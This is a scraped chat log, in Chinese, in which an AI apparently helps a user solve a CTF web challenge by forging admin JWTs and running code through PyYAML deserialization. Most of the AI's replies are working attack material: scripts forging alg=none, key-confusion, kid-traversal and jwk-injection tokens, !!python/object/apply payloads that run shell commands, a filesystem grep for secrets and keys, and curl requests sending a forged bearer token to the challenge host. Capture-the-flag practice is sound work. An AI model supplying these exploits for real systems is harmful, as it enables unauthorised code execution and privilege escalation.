请帮我解决一道ctf web题,是一个python yaml反序列化题目,目前的思路是,用yaml利...
创建于:2025年9月8日
使用 GPT-5 Thinking 回答 Chat01
创建于:2025年9月8日
使用 GPT-5 Thinking 回答 Chat01
请帮我解决一道ctf web题,是一个python yaml反序列化题目,目前的思路是,用yaml利用python标签执行代码,需要伪造token,环境有一个上传文件的点,上传之后可以执行,这是靶机页面的源代码:
<!DOCTYPE html> <html> <head> <title>Vault</title> <style> body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; } #user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; } #sandbox-container { margin-top: 30px; } select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; } #result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; } button { background-color: #4CAF50; color: white; border: none; cursor: pointer; } button:hover { background-color: #45a049; } input[type="file"] { display: block; margin: 10px auto; } </style> </head> <body> <div id="user-info">Loading user info...</div> <div id="sandbox-container"> <select id="mode"> <option value="yaml" selected>YAML</option> <option value="python">Python</option> </select> <br> <input type="file" id="codefile"> <br> <button onclick="runCode()">▶ Execute from File</button> <pre id="result">Waiting for output...</pre> </div> <script> let token = ""; fetch("/auth") .then(res => res.json()) .then(data => { token = data.token; const payload = JSON.parse(atob(token.split('.')[1])); document.getElementById("user-info").innerHTML = "<span style='color:#444'>👤 " + payload.username + "</span> | " + "<span style='color:#4CAF50'>Role: " + payload.role + "</span>"; });</body> </html>请尝试解决textfunction runCode() { const fileInput = document.getElementById('codefile'); const mode = document.getElementById("mode").value; if (fileInput.files.length === 0) { document.getElementById("result").textContent = '{"error": "Please select a file to upload."}'; return; } const file = fileInput.files[0]; const formData = new FormData(); formData.append('codefile', file); formData.append('mode', mode); fetch("/sandbox", { method: "POST", headers: { "Authorization": "Bearer " + token }, body: formData }) .then(res => res.json()) .then(data => { document.getElementById("result").textContent = JSON.stringify(data, null, 2); }); } </script>
下面给你一条清晰可执行的“攻防流程”(只用于 CTF 靶机/教学场景),把你现有的信息(YAML 反序列化 + 需要伪造 token + 上传后可执行)串起来——目标是拿到执行权限与提权到 admin 角色,最终从沙箱里读出敏感文件/flag。
/sandbox 的 YAML 反序列化 看能否直接 RCE:
yaml.load/FullLoader → 你直接有 RCE,先读取签名密钥或源码,再伪造 admin JWT 拿到更高能力(或切换成 python 模式)。safe_load(不执行 !!python 标签)→ 你先伪造 admin JWT,再用 admin 身份上传 YAML 走 RCE。alg=none 绕过jwk/jku/x5u 信任 header 的情况)下面把每一步的操作与 PoC 给全。
前端会 GET /auth,把 token 存在全局变量。你本地直接拿:
bashcurl -s http://<TARGET>/auth | jq -r .token
解码 header/payload(别验证签名,先看字段):
bashpython3 - << 'PY' import sys, json, base64 t = sys.stdin.read().strip() h,p,_ = t.split('.') db64 = lambda s: base64.urlsafe_b64decode(s + '===') print('Header:', json.loads(db64(h))) print('Payload:', json.loads(db64(p))) PY
重点看:
alg:HS256 / RS256 / 还是 none?kid、jku、x5u、jwk 之类 headerpayload 里是否有 role、exp 等字段所有 payload 仅用于 CTF 靶机。
alg=none(最省事)如果服务端错误地允许 none:
python# produce_none_jwt.py import json, base64 def b64(x): return base64.urlsafe_b64encode(json.dumps(x, separators=(',',':')).encode()).rstrip(b'=').decode() header = {"typ":"JWT","alg":"none"} payload = {"username":"admin","role":"admin"} # 按你观察到的字段来改 token = f"{b64(header)}.{b64(payload)}." print(token)
拿到 token 后直接:
bashcurl -H "Authorization: Bearer <NONE_TOKEN>" http://<TARGET>/sandbox -F mode=yaml -F codefile=@pwn.yaml
如果 header 显示 alg 是 RS256,服务端也许错误配置地同时接受 HS256。
思路:想办法拿到 RSA 公钥(比如 /public.pem、/.well-known/jwks.json、/jwks.json、/static/public.pem 等路径,或源码里泄露),把它当成 HS256 的“secret”。
python# rs256_to_hs256.py import jwt, json pubkey_pem = open('public.pem','rb').read() # 你前面枚举下载到的公钥 payload = {"username":"admin","role":"admin"} # 关键:用 HS256,并把“公钥内容”直接作为 HMAC 的 secret token = jwt.encode(payload, pubkey_pem, algorithm="HS256") print(token)
kid 路径穿越 / 空密钥如果 header 里有 kid 并且服务端会按 kid 去文件系统找 secret:
kid 设为 ../../../../dev/null(或不存在文件),这样 secret 为空;再用空字符串签一个 HS256:python# kid_devnull.py import jwt headers = {"alg":"HS256","kid":"../../../../dev/null"} payload = {"username":"admin","role":"admin"} token = jwt.encode(payload, b"", algorithm="HS256", headers=headers) # 空 secret print(token)
也可试 /proc/self/environ、/etc/hostname 等“可读取但不可控”的文件——有的出题人把 secret 就是读文件的内容,那就用读到的字节当 secret 重签即可。
jwk/jku/x5u)有的库会信任 header 提供的公钥来验签。
思路:在 header 里塞入你的 JWK,并且自己用私钥签 RS256:
python# jwk_injection.py import jwt, json from Crypto.PublicKey import RSA from jwt.algorithms import RSAAlgorithm key = RSA.generate(2048) priv_pem = key.export_key() pub_pem = key.publickey().export_key() jwk = json.loads(RSAAlgorithm.to_jwk(key.publickey())) headers = {"alg":"RS256","jwk": jwk} payload = {"username":"admin","role":"admin"} token = jwt.encode(payload, priv_pem, algorithm="RS256", headers=headers) print(token)
如果是
jku/x5u,你需要可控 URL(放一份 JWKS/x509 给它拉)。CTF 通常会把请求限制在内网/本机,也可能不出网,这个看题目环境。
你页面里有
mode=yaml/python的切换。常见做法是:只有admin才能FullLoader/yaml.load或启用python模式。
所以:
- 能直接 RCE:先读签名密钥/源码再伪造 JWT;
- 不能直接 RCE:先伪造 JWT → 用
admin再传 YAML 执行。
以下是稳定好用的 YAML payload(任选):
subprocess.check_output(最稳,能拿回显)pwn.yaml:
yaml!!python/object/apply:subprocess.check_output - ["/bin/sh", "-c", "id; uname -a; ls -la; env | sort"]
builtins.eval 包 base64 回显(避免编码问题)yaml!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','id; uname -a; ls -la; env | sort'])).decode()"
拿到响应后把 data 做 base64 解码即是命令输出。
写个标记文件:
yaml!!python/object/apply:os.system ["sh -lc 'echo PWNED > /tmp/ok'"]
然后再用一个能回显的 payload 去 cat /tmp/ok。
bashTOKEN='<你的伪造或原始 JWT>' curl -s -H "Authorization: Bearer $TOKEN" \ -F "mode=yaml" \ -F "[email protected]" \ http://<TARGET>/sandbox | jq .
如果返回是 JSON,把其中的字段(通常叫 output / result / 反序列化后的值)看一下。
若你用了 C2 的 base64 回显,记得解码。
如果你已经能 RCE,优先查找秘钥/源码/环境变量:
yaml!!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","(ls -la / | cat) 2>/dev/null; (ls -la /app | cat) 2>/dev/null; (grep -R --binary-files=without-match -nE 'SECRET|JWT|KEY|TOKEN' / 2>/dev/null | head -n 100)"]
常见位置:
env 里 JWT_SECRET / SECRET_KEY/app/secret.key、/app/config.py、.env、settings.py/app/*.py、/srv/app/*.py拿到秘钥后,用 HS256/RS256 正常签一个 role=admin 的 token(注意把 exp 设未来):
python# sign_admin.py import jwt, datetime as dt secret = b"YOUR_SECRET" # 或加载私钥 payload = {"username":"admin","role":"admin","exp": dt.datetime.utcnow()+dt.timedelta(hours=3)} print(jwt.encode(payload, secret, algorithm="HS256"))
然后再用新 token 跑 mode=python 或更危险操作(CTF 环境 OK)。
admin 才能选择 python/yaml full。如果你前端能选,但后端拒绝,很可能是服务端根据 JWT 里的 role 做判断。alg=none 不行,一定去找公钥/jwks.json、public.pem、kid 行为;CTF web JWT 题 8/10 都在这四类。/sandbox 对返回值包装为 json.dumps(obj),subprocess.check_output 会给你字节串(可能带 \n),照样会被序列化成字符串展示。alg/role:bashT=$(curl -s http://<TARGET>/auth | jq -r .token) python3 - << 'PY' <<< "$T" import sys, json, base64 t=sys.stdin.read().strip(); h,p,_=t.split('.'); f=lambda s: base64.urlsafe_b64decode(s+'===') print(json.loads(f(h))); print(json.loads(f(p))) PY
alg=none 伪造 role=admin(不成就跳下一步):bashpython3 produce_none_jwt.py > token.txt
枚举公钥与 kid:
(在靶机页面或字典爆破下)尝试访问:/public.pem、/.well-known/jwks.json、/jwks.json、/static/public.pem、/keys/jwks.json
若拿到公钥,走 B2;若发现 kid 生效,走 B3;若 jwk/jku/x5u 存在,走 B4。
构造 pwn.yaml:
yaml!!python/object/apply:subprocess.check_output - ["/bin/sh", "-c", "id; uname -a; ls -la; env | sort"]
bashcurl -s -H "Authorization: Bearer $(cat token.txt)" \ -F "mode=yaml" -F "[email protected]" \ http://<TARGET>/sandbox | jq .
如果你愿意,把你拿到的 JWT header/payload(去掉敏感信息)、/sandbox 的返回结构(字段名),以及你试过的 alg/kid 行为贴过来,我可以据此把脚本改成“一把过”的版本(比如自动探测哪种伪造有效、自动生成 admin token、自动打 YAML 并解析回显)。
我现在已经成功伪造token,我尝试上传了一个index.html,yaml和python两种模式都上传了请求包和数据包如下:POST http://web-6933e7db16.challenge.xctf.org.cn/sandbox HTTP/1.1
Host: web-6933e7db16.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://web-6933e7db16.challenge.xctf.org.cn/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
Content-Type: multipart/form-data; boundary=----geckoformboundary34f22b1c0517826c49b08ceadaf0ca04
Content-Length: 990
Origin: http://web-6933e7db16.challenge.xctf.org.cn
Connection: keep-alive
Priority: u=0
------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04
Content-Disposition: form-data; name="codefile"; filename="index.html"
Content-Type: text/html
<pre>"><script>alert(1)</script><!--</pre> </body> </html> ------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04 Content-Disposition: form-data; name="mode"text<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>
yaml
------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04--
返回HTTP/1.1 200 OK
Connection: close
Content-Length: 603
Content-Type: application/json
Date: Mon, 08 Sep 2025 08:18:35 GMT
Server: TinyFat/0.99.75
{"result":"<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <ul> <li><a href="" class="link">Images</a></li> <li><a href="" class="link">Videos</a></li> <li><a href="" class="link">Academic</a></li> <li><a href="" class="link">Dict</a></li> <li><a href="" class="link">Maps</a></li> </ul>\n<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>\n<pre>"><script>alert(1)</script><!--</pre>\n\n\n\n\n\n\n\n</body> </html>"}
请求:POST http://web-6933e7db16.challenge.xctf.org.cn/sandbox HTTP/1.1
Host: web-6933e7db16.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://web-6933e7db16.challenge.xctf.org.cn/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
Content-Type: multipart/form-data; boundary=----geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc
Content-Length: 992
Origin: http://web-6933e7db16.challenge.xctf.org.cn
Connection: keep-alive
Priority: u=0
------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc
Content-Disposition: form-data; name="codefile"; filename="index.html"
Content-Type: text/html
<pre>"><script>alert(1)</script><!--</pre> </body> </html> ------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc Content-Disposition: form-data; name="mode"text<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>
python
------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc--
返回HTTP/1.1 400 BAD REQUEST
Connection: close
Content-Length: 39
Content-Type: application/json
Date: Mon, 08 Sep 2025 08:22:26 GMT
Server: TinyFat/0.99.75
{"error":"forbidden keyword detected"}
请分析尝试解决该题目拿到flag
太好了,你已经能伪造 admin 的 JWT!从你发的流量看:
mode=yaml 上传 HTML 时,后端只是把 YAML 解析结果(就是整段字符串)原样塞进 {"result": "...html..."} 返回——说明 YAML 路径确实会把解析出的对象作为结果返回。mode=python 则命中“forbidden keyword detected”,说明 Python 路径有黑名单(你 HTML 里含有 script 也会触发)。所以正确打法就是:继续走 YAML,不走 python,直接利用 PyYAML 的不安全构造器执行命令并把结果转成普通字符串返回(否则 bytes 不能 JSON 序列化)。
下面给你三份一步到位的 payload(任选其一)。建议把文件命名为 read_flag.yaml(或 .yml),并用你已经伪造好的 admin Bearer 发到 mode=yaml。
check_output + str(..., 'utf-8')(无二进制、直接可读)read_flag.yaml
yaml!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true"] - utf-8
请求:
bashcurl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml'
期望返回:
json{"result":"flag{...或者目录列表...}"}
read_flag_b64.yaml
yaml!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true'])).decode()"
发完后把 result 做一次 base64 解码就是原始输出:
bashjq -r .result | base64 -d
probe.yaml
yaml!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","id; uname -a; printf '\\n=== ENV ===\\n'; env | sort; printf '\\n=== FS ===\\n'; ls -la / /app /home /var/www 2>&1"] - utf-8
拿到目录后,再用方案 A/B 改成确定的 cat /具体路径。
!!python/object/apply 等)。如果后端用的是 yaml.safe_load 就不会执行;但这题是“python yaml 反序列化题”,且你已经是 admin,按出题常规会走 yaml.load/UnsafeLoader,所以上述 payload 能跑。subprocess.check_output 直接返回 bytes,json.dumps 会报错;所以我们外面套了 builtins.str(..., 'utf-8') 或者用 base64。mode=python 黑名单很严(你刚才的 <script> 直接触发了),因此不要走 python 路径。.yaml/.yml,Content-Type 用 application/x-yaml(curl -F 会自动带,但不强制)。bashcat > read_flag.yaml <<'Y' !!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true"] - utf-8 Y curl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml' | jq -r .result
如果输出里没有 flag,就把命令中的 for p in ... 那一串路径再加几个你探测到的候选路径(例如 /usr/src/app/flag、/work/flag 等),或先贴我一次 probe.yaml 的结果,我帮你定点路径。
用payload:!!python/object/apply:builtins.str
干得漂亮!目录里已经“露馅”了:根目录有个可读文件 /f1111ag(-rw-r--r--,39 字节)。直接把它 cat 出来就行。
下面给你两个稳妥 payload,继续走 mode=yaml:
read_flag.yaml
yaml!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","cat /f1111ag"] - utf-8
请求:
bashcurl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml'
看返回里的 "result" 就是 flag。
read_flag_b64.yaml
yaml!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','cat /f1111ag'])).decode()"
发完后:
bashjq -r .result | base64 -d
补充:你也可以顺手把后端源码拉出来看看(可选)
yaml!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","sed -n '1,200p' /app/app.py"] - utf-8
按上面跑,flag 就到手了。需要我替你把返回内容解析下也可以把原样粘过来。